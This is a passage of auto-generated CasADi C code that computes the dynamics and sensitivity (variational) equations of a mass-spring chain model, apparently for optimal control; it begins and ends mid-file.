14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47};
static const casadi_int casadi_s2[150] = {48, 3, 0, 48, 96, 144, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47};
static const casadi_int casadi_s3[7] = {3, 1, 0, 3, 0, 1, 2};
casadi_real casadi_sq(casadi_real x) { return x*x;}
/* vde_chain_nm9:(i0[48],i1[48x48],i2[48x3],i3[3])->(o0[48],o1[48x48],o2[48x3]) */
static int casadi_f0(const casadi_real** arg, casadi_real** res, casadi_int* iw, casadi_real* w, void* mem) {
casadi_real a0, a1, a10, a100, a101, a102, a11, a12, a13, a14, a15, a16, a17, a18, a19, a2, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a3, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a4, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a5, a50, a51, a52, a53, a54, a55, a56, a57, a58, a59, a6, a60, a61, a62, a63, a64, a65, a66, a67, a68, a69, a7, a70, a71, a72, a73, a74, a75, a76, a77, a78, a79, a8, a80, a81, a82, a83, a84, a85, a86, a87, a88, a89, a9, a90, a91, a92, a93, a94, a95, a96, a97, a98, a99;
a0=arg[0] ? arg[0][3] : 0;
if (res[0]!=0) res[0][0]=a0;
a0=arg[0] ? arg[0][4] : 0;
if (res[0]!=0) res[0][1]=a0;
a0=arg[0] ? arg[0][5] : 0;
if (res[0]!=0) res[0][2]=a0;
a0=3.3333333333333336e+01;
a1=1.;
a2=3.3000000000000002e-02;
a3=arg[0] ? arg[0][6] : 0;
a4=arg[0] ? arg[0][0] : 0;
a5=(a3-a4);
a6=casadi_sq(a5);
a7=arg[0] ? arg[0][7] : 0;
a8=arg[0] ? arg[0][1] : 0;
a9=(a7-a8);
a10=casadi_sq(a9);
a6=(a6+a10);
a10=arg[0] ? arg[0][8] : 0;
a11=arg[0] ? arg[0][2] : 0;
a12=(a10-a11);
a13=casadi_sq(a12);
a6=(a6+a13);
a6=sqrt(a6);
a13=(a2/a6);
a14=(a1-a13);
a15=(a14*a5);
a16=casadi_sq(a4);
a17=casadi_sq(a8);
a16=(a16+a17);
a17=casadi_sq(a11);
a16=(a16+a17);
a16=sqrt(a16);
a17=(a2/a16);
a18=(a1-a17);
a19=(a18*a4);
a19=(a15-a19);
a19=(a0*a19);
if (res[0]!=0) res[0][3]=a19;
a19=(a14*a9);
a20=(a18*a8);
a20=(a19-a20);
a20=(a0*a20);
if (res[0]!=0) res[0][4]=a20;
a20=(a14*a12);
a21=(a18*a11);
a21=(a20-a21);
a21=(a0*a21);
a22=9.8100000000000005e+00;
a21=(a21-a22);
if (res[0]!=0) res[0][5]=a21;
a21=arg[0] ? arg[0][9] : 0;
if (res[0]!=0) res[0][6]=a21;
a21=arg[0] ? arg[0][10] : 0;
if (res[0]!=0) res[0][7]=a21;
a21=arg[0] ? arg[0][11] : 0;
if (res[0]!=0) res[0][8]=a21;
a21=arg[0] ? arg[0][12] : 0;
a3=(a21-a3);
a23=casadi_sq(a3);
a24=arg[0] ? arg[0][13] : 0;
a7=(a24-a7);
a25=casadi_sq(a7);
a23=(a23+a25);
a25=arg[0] ? arg[0][14] : 0;
a10=(a25-a10);
a26=casadi_sq(a10);
a23=(a23+a26);
a23=sqrt(a23);
a26=(a2/a23);
a27=(a1-a26);
a28=(a27*a3);
a15=(a28-a15);
a15=(a0*a15);
if (res[0]!=0) res[0][9]=a15;
a15=(a27*a7);
a19=(a15-a19);
a19=(a0*a19);
if (res[0]!=0) res[0][10]=a19;
a19=(a27*a10);
a20=(a19-a20);
a20=(a0*a20);
a20=(a20-a22);
if (res[0]!=0) res[0][11]=a20;
a20=arg[0] ? arg[0][15] : 0;
if (res[0]!=0) res[0][12]=a20;
a20=arg[0] ? arg[0][16] : 0;
if (res[0]!=0) res[0][13]=a20;
a20=arg[0] ? arg[0][17] : 0;
if (res[0]!=0) res[0][14]=a20;
a20=arg[0] ? arg[0][18] : 0;
a21=(a20-a21);
a29=casadi_sq(a21);
a30=arg[0] ? arg[0][19] : 0;
a24=(a30-a24);
a31=casadi_sq(a24);
a29=(a29+a31);
a31=arg[0] ? arg[0][20] : 0;
a25=(a31-a25);
a32=casadi_sq(a25);
a29=(a29+a32);
a29=sqrt(a29);
a32=(a2/a29);
a33=(a1-a32);
a34=(a33*a21);
a28=(a34-a28);
a28=(a0*a28);
if (res[0]!=0) res[0][15]=a28;
a28=(a33*a24);
a15=(a28-a15);
a15=(a0*a15);
if (res[0]!=0) res[0][16]=a15;
a15=(a33*a25);
a19=(a15-a19);
a19=(a0*a19);
a19=(a19-a22);
if (res[0]!=0) res[0][17]=a19;
a19=arg[0] ? arg[0][21] : 0;
if (res[0]!=0) res[0][18]=a19;
a19=arg[0] ? arg[0][22] : 0;
if (res[0]!=0) res[0][19]=a19;
a19=arg[0] ? arg[0][23] : 0;
if (res[0]!=0) res[0][20]=a19;
a19=arg[0] ? arg[0][24] : 0;
a20=(a19-a20);
a35=casadi_sq(a20);
a36=arg[0] ? arg[0][25] : 0;
a30=(a36-a30);
a37=casadi_sq(a30);
a35=(a35+a37);
a37=arg[0] ? arg[0][26] : 0;
a31=(a37-a31);
a38=casadi_sq(a31);
a35=(a35+a38);
a35=sqrt(a35);
a38=(a2/a35);
a39=(a1-a38);
a40=(a39*a20);
a34=(a40-a34);
a34=(a0*a34);
if (res[0]!=0) res[0][21]=a34;
a34=(a39*a30);
a28=(a34-a28);
a28=(a0*a28);
if (res[0]!=0) res[0][22]=a28;
a28=(a39*a31);
a15=(a28-a15);
a15=(a0*a15);
a15=(a15-a22);
if (res[0]!=0) res[0][23]=a15;
a15=arg[0] ? arg[0][27] : 0;
if (res[0]!=0) res[0][24]=a15;
a15=arg[0] ? arg[0][28] : 0;
if (res[0]!=0) res[0][25]=a15;
a15=arg[0] ? arg[0][29] : 0;
if (res[0]!=0) res[0][26]=a15;
a15=arg[0] ? arg[0][30] : 0;
a19=(a15-a19);
a41=casadi_sq(a19);
a42=arg[0] ? arg[0][31] : 0;
a36=(a42-a36);
a43=casadi_sq(a36);
a41=(a41+a43);
a43=arg[0] ? arg[0][32] : 0;
a37=(a43-a37);
a44=casadi_sq(a37);
a41=(a41+a44);
a41=sqrt(a41);
a44=(a2/a41);
a45=(a1-a44);
a46=(a45*a19);
a40=(a46-a40);
a40=(a0*a40);
if (res[0]!=0) res[0][27]=a40;
a40=(a45*a36);
a34=(a40-a34);
a34=(a0*a34);
if (res[0]!=0) res[0][28]=a34;
a34=(a45*a37);
a28=(a34-a28);
a28=(a0*a28);
a28=(a28-a22);
if (res[0]!=0) res[0][29]=a28;
a28=arg[0] ? arg[0][33] : 0;
if (res[0]!=0) res[0][30]=a28;
a28=arg[0] ? arg[0][34] : 0;
if (res[0]!=0) res[0][31]=a28;
a28=arg[0] ? arg[0][35] : 0;
if (res[0]!=0) res[0][32]=a28;
a28=arg[0] ? arg[0][36] : 0;
a15=(a28-a15);
a47=casadi_sq(a15);
a48=arg[0] ? arg[0][37] : 0;
a42=(a48-a42);
a49=casadi_sq(a42);
a47=(a47+a49);
a49=arg[0] ? arg[0][38] : 0;
a43=(a49-a43);
a50=casadi_sq(a43);
a47=(a47+a50);
a47=sqrt(a47);
a50=(a2/a47);
a51=(a1-a50);
a52=(a51*a15);
a46=(a52-a46);
a46=(a0*a46);
if (res[0]!=0) res[0][33]=a46;
a46=(a51*a42);
a40=(a46-a40);
a40=(a0*a40);
if (res[0]!=0) res[0][34]=a40;
a40=(a51*a43);
a34=(a40-a34);
a34=(a0*a34);
a34=(a34-a22);
if (res[0]!=0) res[0][35]=a34;
a34=arg[0] ? arg[0][39] : 0;
if (res[0]!=0) res[0][36]=a34;
a34=arg[0] ? arg[0][40] : 0;
if (res[0]!=0) res[0][37]=a34;
a34=arg[0] ? arg[0][41] : 0;
if (res[0]!=0) res[0][38]=a34;
a34=arg[0] ? arg[0][42] : 0;
a34=(a34-a28);
a28=casadi_sq(a34);
a53=arg[0] ? arg[0][43] : 0;
a53=(a53-a48);
a48=casadi_sq(a53);
a28=(a28+a48);
a48=arg[0] ? arg[0][44] : 0;
a48=(a48-a49);
a49=casadi_sq(a48);
a28=(a28+a49);
a28=sqrt(a28);
a2=(a2/a28);
a49=(a1-a2);
a54=(a49*a34);
a54=(a54-a52);
a54=(a0*a54);
if (res[0]!=0) res[0][39]=a54;
a54=(a49*a53);
a54=(a54-a46);
a54=(a0*a54);
if (res[0]!=0) res[0][40]=a54;
a54=(a49*a48);
a54=(a54-a40);
a54=(a0*a54);
a54=(a54-a22);
if (res[0]!=0) res[0][41]=a54;
a54=arg[0] ? arg[0][45] : 0;
if (res[0]!=0) res[0][42]=a54;
a54=arg[0] ? arg[0][46] : 0;
if (res[0]!=0) res[0][43]=a54;
a54=arg[0] ? arg[0][47] : 0;
if (res[0]!=0) res[0][44]=a54;
a54=arg[3] ? arg[3][0] : 0;
if (res[0]!=0) res[0][45]=a54;
a54=arg[3] ? arg[3][1] : 0;
if (res[0]!=0) res[0][46]=a54;
a54=arg[3] ? arg[3][2] : 0;
if (res[0]!=0) res[0][47]=a54;
a54=arg[1] ? arg[1][3] : 0;
if (res[1]!=0) res[1][0]=a54;
a54=arg[1] ? arg[1][4] : 0;
if (res[1]!=0) res[1][1]=a54;
a54=arg[1] ? arg[1][5] : 0;
if (res[1]!=0) res[1][2]=a54;
a54=(a13/a6);
a22=(a5+a5);
a40=arg[1] ? arg[1][6] : 0;
a46=arg[1] ? arg[1][0] : 0;
a52=(a40-a46);
a55=(a22*a52);
a56=(a9+a9);
a57=arg[1] ? arg[1][7] : 0;
a58=arg[1] ? arg[1][1] : 0;
a59=(a57-a58);
a60=(a56*a59);
a55=(a55+a60);
a60=(a12+a12);
a61=arg[1] ? arg[1][8] : 0;
a62=arg[1] ? arg[1][2] : 0;
a63=(a61-a62);
a64=(a60*a63);
a55=(a55+a64);
a64=(a6+a6);
a55=(a55/a64);
a55=(a54*a55);
a65=(a5*a55);
a52=(a14*a52);
a65=(a65+a52);
a52=(a17/a16);
a66=(a4+a4);
a67=(a66*a46);
a68=(a8+a8);
a69=(a68*a58);
a67=(a67+a69);
a69=(a11+a11);
a70=(a69*a62);
a67=(a67+a70);
a70=(a16+a16);
a67=(a67/a70);
a67=(a52*a67);
a71=(a4*a67);
a46=(a18*a46);
a71=(a71+a46);
a71=(a65-a71);
a71=(a0*a71);
if (res[1]!=0) res[1][3]=a71;
a71=(a9*a55);
a59=(a14*a59);
a71=(a71+a59);
a59=(a8*a67);
a58=(a18*a58);
a59=(a59+a58);
a59=(a71-a59);
a59=(a0*a59);
if (res[1]!=0) res[1][4]=a59;
a55=(a12*a55);
a63=(a14*a63);
a55=(a55+a63);
a67=(a11*a67);
a62=(a18*a62);
a67=(a67+a62);
a67=(a55-a67);
a67=(a0*a67);
if (res[1]!=0) res[1][5]=a67;
a67=arg[1] ? arg[1][9] : 0;
if (res[1]!=0) res[1][6]=a67;
a67=arg[1] ? arg[1][10] : 0;
if (res[1]!=0) res[1][7]=a67;
a67=arg[1] ? arg[1][11] : 0;
if (res[1]!=0) res[1][8]=a67;
a67=(a26/a23);
a62=(a3+a3);
a63=arg[1] ? arg[1][12] : 0;
a40=(a63-a40);
a59=(a62*a40);
a58=(a7+a7);
a46=arg[1] ? arg[1][13] : 0;
a57=(a46-a57);
a72=(a58*a57);
a59=(a59+a72);
a72=(a10+a10);
a73=arg[1] ? arg[1][14] : 0;
a61=(a73-a61);
a74=(a72*a61);
a59=(a59+a74);
a74=(a23+a23);
a59=(a59/a74);
a59=(a67*a59);
a75=(a3*a59);
a40=(a27*a40);
a75=(a75+a40);
a65=(a75-a65);
a65=(a0*a65);
if (res[1]!=0) res[1][9]=a65;
a65=(a7*a59);
a57=(a27*a57);
a65=(a65+a57);
a71=(a65-a71);
a71=(a0*a71);
if (res[1]!=0) res[1][10]=a71;
a59=(a10*a59);
a61=(a27*a61);
a59=(a59+a61);
a55=(a59-a55);
a55=(a0*a55);
if (res[1]!=0) res[1][11]=a55;
a55=arg[1] ? arg[1][15] : 0;
if (res[1]!=0) res[1][12]=a55;
a55=arg[1] ? arg[1][16] : 0;
if (res[1]!=0) res[1][13]=a55;
a55=arg[1] ? arg[1][17] : 0;
if (res[1]!=0) res[1][14]=a55;
a55=(a32/a29);
a61=(a21+a21);
a71=arg[1] ? arg[1][18] : 0;
a63=(a71-a63);
a57=(a61*a63);
a40=(a24+a24);
a76=arg[1] ? arg[1][19] : 0;
a46=(a76-a46);
a77=(a40*a46);
a57=(a57+a77);
a77=(a25+a25);
a78=arg[1] ? arg[1][20] : 0;
a73=(a78-a73);
a79=(a77*a73);
a57=(a57+a79);
a79=(a29+a29);
a57=(a57/a79);
a57=(a55*a57);
a80=(a21*a57);
a63=(a33*a63);
a80=(a80+a63);
a75=(a80-a75);
a75=(a0*a75);
if (res[1]!=0) res[1][15]=a75;
a75=(a24*a57);
a46=(a33*a46);
a75=(a75+a46);
a65=(a75-a65);
a65=(a0*a65);
if (res[1]!=0) res[1][16]=a65;
a57=(a25*a57);
a73=(a33*a73);
a57=(a57+a73);
a59=(a57-a59);
a59=(a0*a59);
if (res[1]!=0) res[1][17]=a59;
a59=arg[1] ? arg[1][21] : 0;
if (res[1]!=0) res[1][18]=a59;
a59=arg[1] ? arg[1][22] : 0;
if (res[1]!=0) res[1][19]=a59;
a59=arg[1] ? arg[1][23] : 0;
if (res[1]!=0) res[1][20]=a59;
a59=(a38/a35);
a73=(a20+a20);
a65=arg[1] ? arg[1][24] : 0;
a71=(a65-a71);
a46=(a73*a71);
a63=(a30+a30);
a81=arg[1] ? arg[1][25] : 0;
a76=(a81-a76);
a82=(a63*a76);
a46=(a46+a82);
a82=(a31+a31);
a83=arg[1] ? arg[1][26] : 0;
a78=(a83-a78);
a84=(a82*a78);
a46=(a46+a84);
a84=(a35+a35);
a46=(a46/a84);
a46=(a59*a46);
a85=(a20*a46);
a71=(a39*a71);
a85=(a85+a71);
a80=(a85-a80);
a80=(a0*a80);
if (res[1]!=0) res[1][21]=a80;
a80=(a30*a46);
a76=(a39*a76);
a80=(a80+a76);
a75=(a80-a75);
a75=(a0*a75);
if (res[1]!=0) res[1][22]=a75;
a46=(a31*a46);
a78=(a39*a78);
a46=(a46+a78);
a57=(a46-a57);
a57=(a0*a57);
if (res[1]!=0) res[1][23]=a57;
a57=arg[1] ? arg[1][27] : 0;
if (res[1]!=0) res[1][24]=a57;
a57=arg[1] ? arg[1][28] : 0;
if (res[1]!=0) res[1][25]=a57;
a57=arg[1] ? arg[1][29] : 0;
if (res[1]!=0) res[1][26]=a57;
a57=(a44/a41);
a78=(a19+a19);
a75=arg[1] ? arg[1][30] : 0;
a65=(a75-a65);
a76=(a78*a65);
a71=(a36+a36);
a86=arg[1] ? arg[1][31] : 0;
a81=(a86-a81);
a87=(a71*a81);
a76=(a76+a87);
a87=(a37+a37);
a88=arg[1] ? arg[1][32] : 0;
a83=(a88-a83);
a89=(a87*a83);
a76=(a76+a89);
a89=(a41+a41);
a76=(a76/a89);
a76=(a57*a76);
a90=(a19*a76);
a65=(a45*a65);
a90=(a90+a65);
a85=(a90-a85);
a85=(a0*a85);
if (res[1]!=0) res[1][27]=a85;
a85=(a36*a76);
a81=(a45*a81);
a85=(a85+a81);
a80=(a85-a80);
a80=(a0*a80);
if (res[1]!=0) res[1][28]=a80;
a76=(a37*a76);
a83=(a45*a83);
a76=(a76+a83);
a46=(a76-a46);
a46=(a0*a46);
if (res[1]!=0) res[1][29]=a46;
a46=arg[1] ? arg[1][33] : 0;
if (res[1]!=0) res[1][30]=a46;
a46=arg[1] ? arg[1][34] : 0;
if (res[1]!=0) res[1][31]=a46;
a46=arg[1] ? arg[1][35] : 0;
if (res[1]!=0) res[1][32]=a46;
a46=(a50/a47);
a83=(a15+a15);
a80=arg[1] ? arg[1][36] : 0;
a75=(a80-a75);
a81=(a83*a75);
a65=(a42+a42);
a91=arg[1] ? arg[1][37] : 0;
a86=(a91-a86);
a92=(a65*a86);
a81=(a81+a92);
a92=(a43+a43);
a93=arg[1] ? arg[1][38] : 0;
a88=(a93-a88);
a94=(a92*a88);
a81=(a81+a94);
a94=(a47+a47);
a81=(a81/a94);
a81=(a46*a81);
a95=(a15*a81);
a75=(a51*a75);
a95=(a95+a75);
a90=(a95-a90);
a90=(a0*a90);
if (res[1]!=0) res[1][33]=a90;
a90=(a42*a81);
a86=(a51*a86);
a90=(a90+a86);
a85=(a90-a85);
a85=(a0*a85);
if (res[1]!=0) res[1][34]=a85;
a81=(a43*a81);
a88=(a51*a88);
a81=(a81+a88);
a76=(a81-a76);
a76=(a0*a76);
if (res[1]!=0) res[1][35]=a76;
a76=arg[1] ? arg[1][39] : 0;
if (res[1]!=0) res[1][36]=a76;
a76=arg[1] ? arg[1][40] : 0;
if (res[1]!=0) res[1][37]=a76;
a76=arg[1] ? arg[1][41] : 0;
if (res[1]!=0) res[1][38]=a76;
a76=(a2/a28);
a88=(a34+a34);
a85=arg[1] ? arg[1][42] : 0;
a85=(a85-a80);
a80=(a88*a85);
a86=(a53+a53);
a75=arg[1] ? arg[1][43] : 0;
a75=(a75-a91);
a91=(a86*a75);
a80=(a80+a91);
a91=(a48+a48);
a96=arg[1] ? arg[1][44] : 0;
a96=(a96-a93);
a93=(a91*a96);
a80=(a80+a93);
a93=(a28+a28);
a80=(a80/a93);
a80=(a76*a80);
a97=(a34*a80);
a85=(a49*a85);
a97=(a97+a85);
a97=(a97-a95);
a97=(a0*a97);
if (res[1]!=0) res[1][39]=a97;
a97=(a53*a80);
a75=(a49*a75);
a97=(a97+a75);
a97=(a97-a90);
a97=(a0*a97);
if (res[1]!=0) res[1][40]=a97;
a80=(a48*a80);
a96=(a49*a96);
a80=(a80+a96);
a80=(a80-a81);
a80=(a0*a80);
if (res[1]!=0) res[1][41]=a80;
a80=arg[1] ? arg[1][45] : 0;
if (res[1]!=0) res[1][42]=a80;
a80=arg[1] ? arg[1][46] : 0;
if (res[1]!=0) res[1][43]=a80;
a80=arg[1] ? arg[1][47] : 0;
if (res[1]!=0) res[1][44]=a80;
a80=0.;
if (res[1]!=0) res[1][45]=a80;
if (res[1]!=0) res[1][46]=a80;
if (res[1]!=0) res[1][47]=a80;
a81=arg[1] ? arg[1][51] : 0;
if (res[1]!=0) res[1][48]=a81;
a81=arg[1] ? arg[1][52] : 0;
if (res[1]!=0) res[1][49]=a81;
a81=arg[1] ? arg[1][53] : 0;
if (res[1]!=0) res[1][50]=a81;
a81=arg[1] ? arg[1][54] : 0;
a96=arg[1] ? arg[1][48] : 0;
a97=(a81-a96);
a90=(a22*a97);
a75=arg[1] ? arg[1][55] : 0;
a95=arg[1] ? arg[1][49] : 0;
a85=(a75-a95);
a98=(a56*a85);
a90=(a90+a98);
a98=arg[1] ? arg[1][56] : 0;
a99=arg[1] ? arg[1][50] : 0;
a100=(a98-a99);
a101=(a60*a100);
a90=(a90+a101);
a90=(a90/a64);
a90=(a54*a90);
a101=(a5*a90);
a97=(a14*a97);
a101=(a101+a97);
a97=(a66*a96);
a102=(a68*a95);
a97=(a97+a102);
a102=(a69*a99);
a97=(a97+a102);
a97=(a97/a70);
a97=(a52*a97);
a102=(a4*a97);
a96=(a18*a96);
a102=(a102+a96);
a102=(a101-a102);
a102=(a0*a102);
if (res[1]!=0) res[1][51]=a102;
a102=(a9*a90);
a85=(a14*a85);
a102=(a102+a85);
a85=(a8*a97);
a95=(a18*a95);
a85=(a85+a95);
a85=(a102-a85);
a85=(a0*a85);
if (res[1]!=0) res[1][52]=a85;
a90=(a12*a90);
a100=(a14*a100);
a90=(a90+a100);
a97=(a11*a97);
a99=(a18*a99);
a97=(a97+a99);
a97=(a90-a97);
a97=(a0*a97);
if (res[1]!=0) res[1][53]=a97;
a97=arg[1] ? arg[1][57] : 0;
if (res[1]!=0) res[1][54]=a97;
a97=arg[1] ? arg[1][58] : 0;
if (res[1]!=0) res[1][55]=a97;
a97=arg[1] ? arg[1][59] : 0;
if (res[1]!=0) res[1][56]=a97;
a97=arg[1] ? arg[1][60] : 0;
a81=(a97-a81);
a99=(a62*a81);
a100=arg[1] ? arg[1][61] : 0;
a75=(a100-a75);
a85=(a58*a75);
a99=(a99+a85);
a85=arg[1] ? arg[1][62] : 0;
a98=(a85-a98);
a95=(a72*a98);
a99=(a99+a95);
a99=(a99/a74);
a99=(a67*a99);
a95=(a3*a99);
a81=(a27*a81);
a95=(a95+a81);
a101=(a95-a101);
a101=(a0*a101);
if (res[1]!=0) res[1][57]=a101;
a101=(a7*a99);
a75=(a27*a75);
a101=(a101+a75);
a102=(a101-a102);
a102=(a0*a102);
if (res[1]!=0) res[1][58]=a102;
a99=(a10*a99);
a98=(a27*a98);
a99=(a99+a98);
a90=(a99-a90);
a90=(a0*a90);
if (res[1]!=0) res[1][59]=a90;
a90=arg[1] ? arg[1][63] : 0;
if (res[1]!=0) res[1][60]=a90;
a90=arg[1] ? arg[1][64] : 0;
if (res[1]!=0) res[1][61]=a90;
a90=arg[1] ? arg[1][65] : 0;
if (res[1]!=0) res[1][62]=a90;
a90=arg[1] ? arg[1][66] : 0;
a97=(a90-a97);
a98=(a61*a97);
a102=arg[1] ? arg[1][67] : 0;
a100=(a102-a100);
a75=(a40*a100);
a98=(a98+a75);
a75=arg[1] ? arg[1][68] : 0;
a85=(a75-a85);
a81=(a77*a85);
a98=(a98+a81);
a98=(a98/a79);
a98=(a55*a98);
a81=(a21*a98);
a97=(a33*a97);
a81=(a81+a97);
a95=(a81-a95);
a95=(a0*a95);
if (res[1]!=0) res[1][63]=a95;
a95=(a24*a98);
a100=(a33*a100);
a95=(a95+a100);
a101=(a95-a101);
a101=(a0*a101);
if (res[1]!=0) res[1][64]=a101;
a98=(a25*a98);
a85=(a33*a85);
a98=(a98+a85);
a99=(a98-a99);
a99=(a0*a99);
if (res[1]!=0) res[1][65]=a99;
a99=arg[1] ? arg[1][69] : 0;
if (res[1]!=0) res[1][66]=a99;
a99=arg[1] ? arg[1][70] : 0;
if (res[1]!=0) res[1][67]=a99;
a99=arg[1] ? arg[1][71] : 0;
if (res[1]!=0) res[1][68]=a99;
a99=arg[1] ? arg[1][72] : 0;
a90=(a99-a90);
a85=(a73*a90);
a101=arg[1] ? arg[1][73] : 0;
a102=(a101-a102);
a100=(a63*a102);
a85=(a85+a100);
a100=arg[1] ? arg[1][74] : 0;
a75=(a100-a75);
a97=(a82*a75);
a85=(a85+a97);
a85=(a85/a84);
a85=(a59*a85);
a97=(a20*a85);
a90=(a39*a90);
a97=(a97+a90);
a81=(a97-a81);
a81=(a0*a81);
if (res[1]!=0) res[1][69]=a81;
a81=(a30*a85);
a102=(a39*a102);
a81=(a81+a102);
a95=(a81-a95);
a95=(a0*a95);
if (res[1]!=0) res[1][70]=a95;
a85=(a31*a85);
a75=(a39*a75);
a85=(a85+a75);
a98=(a85-a98);
a98=(a0*a98);
if (res[1]!=0) res[1][71]=a98;
a98=arg[1] ? arg[1][75] : 0;
if (res[1]!=0) res[1][72]=a98;
a98=arg[1] ? arg[1][76] : 0;
if (res[1]!=0) res[1][73]=a98;
a98=arg[1] ? arg[1][77] : 0;
if (res[1]!=0) res[1][74]=a98;
a98=arg[1] ? arg[1][78] : 0;
a99=(a98-a99);
a75=(a78*a99);
a95=arg[1] ? arg[1][79] : 0;
a101=(a95-a101);
a102=(a71*a101);
a75=(a75+a102);
a102=arg[1] ? arg[1][80] : 0;
a100=(a102-a100);
a90=(a87*a100);
a75=(a75+a90);
a75=(a75/a89);
a75=(a57*a75);
a90=(a19*a75);
a99=(a45*a99);
a90=(a90+a99);
a97=(a90-a97);
a97=(a0*a97);
if (res[1]!=0) res[1][75]=a97;
a97=(a36*a75);
a101=(a45*a101);
a97=(a97+a101);
a81=(a97-a81);
a81=(a0*a81);
if (res[1]!=0) res[1][76]=a81;
a75=(a37*a75);
a100=(a45*a100);
a75=(a75+a100);
a85=(a75-a85);
a85=(a0*a85);
if (res[1]!=0) res[1][77]=a85;
a85=arg[1] ? arg[1][81] : 0;
if (res[1]!=0) res[1][78]=a85;
a85=arg[1] ? arg[1][82] : 0;
if (res[1]!=0) res[1][79]=a85;
a85=arg[1] ? arg[1][83] : 0;
if (res[1]!=0) res[1][80]=a85;
a85=arg[1] ? arg[1][84] : 0;
a98=(a85-a98);
a100=(a83*a98);
a81=arg[1] ? arg[1][85] : 0;
a95=(a81-a95);
a101=(a65*a95);
a100=(a100+a101);
a101=arg[1] ? arg[1][86] : 0;
a102=(a101-a102);
a99=(a92*a102);
a100=(a100+a99);
a100=(a100/a94);
a100=(a46*a100);
a99=(a15*a100);
a98=(a51*a98);
a99=(a99+a98);
a90=(a99-a90);
a90=(a0*a90);
if (res[1]!=0) res[1][81]=a90;
a90=(a42*a100);
a95=(a51*a95);
a90=(a90+a95);
a97=(a90-a97);
a97=(a0*a97);
if (res[1]!=0) res[1][82]=a97;
a100=(a43*a100);
a102=(a51*a102);
a100=(a100+a102);
a75=(a100-a75);
a75=(a0*a75);
if (res[1]!=0) res[1][83]=a75;
a75=arg[1] ? arg[1][87] : 0;
if (res[1]!=0) res[1][84]=a75;
a75=arg[1] ? arg[1][88] : 0;
if (res[1]!=0) res[1][85]=a75;
a75=arg[1] ? arg[1][89] : 0;
if (res[1]!=0) res[1][86]=a75;
a75=arg[1] ? arg[1][90] : 0;
a75=(a75-a85);
a85=(a88*a75);
a102=arg[1] ? arg[1][91] : 0;
a102=(a102-a81);
a81=(a86*a102);
a85=(a85+a81);
a81=arg[1] ? arg[1][92] : 0;
a81=(a81-a101);
a101=(a91*a81);
a85=(a85+a101);
a85=(a85/a93);
a85=(a76*a85);
a101=(a34*a85);
a75=(a49*a75);
a101=(a101+a75);
a101=(a101-a99);
a101=(a0*a101);
if (res[1]!=0) res[1][87]=a101;
a101=(a53*a85);
a102=(a49*a102);
a101=(a101+a102);
a101=(a101-a90);
a101=(a0*a101);
if (res[1]!=0) res[1][88]=a101;
a85=(a48*a85);
a81=(a49*a81);
a85=(a85+a81);
a85=(a85-a100);
a85=(a0*a85);
if (res[1]!=0) res[1][89]=a85;
a85=arg[1] ? arg[1][93] : 0;
if (res[1]!=0) res[1][90]=a85;
